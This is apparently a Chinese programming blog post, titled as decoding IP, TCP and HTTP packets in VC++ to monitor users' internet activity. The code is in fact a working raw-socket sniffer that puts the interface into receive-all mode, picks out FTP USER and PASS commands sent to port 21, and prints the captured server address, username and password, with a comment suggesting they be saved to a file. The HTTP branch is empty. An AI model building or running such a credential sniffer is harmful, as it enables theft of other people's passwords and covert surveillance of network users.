VC++实现ip数据包解包TCP解包HTTP

我们需要监控用户的互联网行为，则需要检测HTTP

如何在网络层截取HTTP呢，众所周知，网站是80号端口

代码实现如下

CInitSock theSock;  
  
  
  
void GetFtp(char *pData, DWORD dwDestIp)  
{  
    char szBuf[256];  
    static char szUserName[21];  
    static char szPassword[21];  
  
    if(strnicmp(pData, "USER ", 5) == 0)  
    {  
        sscanf(pData + 4, "%*[ ]%s", szUserName);     
    }  
    else if(strnicmp(pData, "PASS ", 5) == 0)  
    {  
        sscanf(pData + 4, "%*[ ]%s", szPassword);  
  
        wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n",   
                                ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);  
  
        printf(szBuf);  // 这里您可以将它保存到文件中   
    }  
}  
  
  
void DecodeIPPacket(char *pData)  
{  
    IPHeader *pIPHdr = (IPHeader*)pData;  
  
  
    int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);  
  
    switch(pIPHdr->ipProtocol)  
    {  
    case IPPROTO_TCP:  
        {  
            TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);  
            switch(::ntohs(pTCPHdr->destinationPort))  
            {  
            case 21:    // ftp协议   
                {  
                    GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);  
                }  
                break;  
  
            case 80:    // http协议...   
            case 8080:  
                  
                break;  
            }  
        }  
        break;  
    case IPPROTO_UDP:  
        break;  
    case IPPROTO_ICMP:  
        break;   
    }  
}  
  
  
void main()  
{  
    // 创建原始套节字   
    SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);  
  
    // 获取本地IP地址   
    char szHostName[56];  
    SOCKADDR_IN addr_in;  
    struct  hostent *pHost;  
    gethostname(szHostName, 56);  
    if((pHost = gethostbyname((char*)szHostName)) == NULL)    
        return ;  
  
    // 在调用ioctl之前，套节字必须绑定   
    addr_in.sin_family  = AF_INET;  
    addr_in.sin_port    = htons(0);  
    memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);  
  
    printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));  
    if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)  
        return;  
  
    // 设置SIO_RCVALL控制代码，以便接收所有的IP包     
    DWORD dwValue = 1;  
    if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)      
        return ;  
      
    // 开始接收封包   
    printf(" \n\n begin to monitor ftp password... \n\n");  
    char buff[1024];  
    int nRet;  
    while(TRUE)  
    {  
        nRet = recv(sRaw, buff, 1024, 0);  
        if(nRet > 0)  
        {  
            DecodeIPPacket(buff);  
        }  
    }  
    closesocket(sRaw);  
}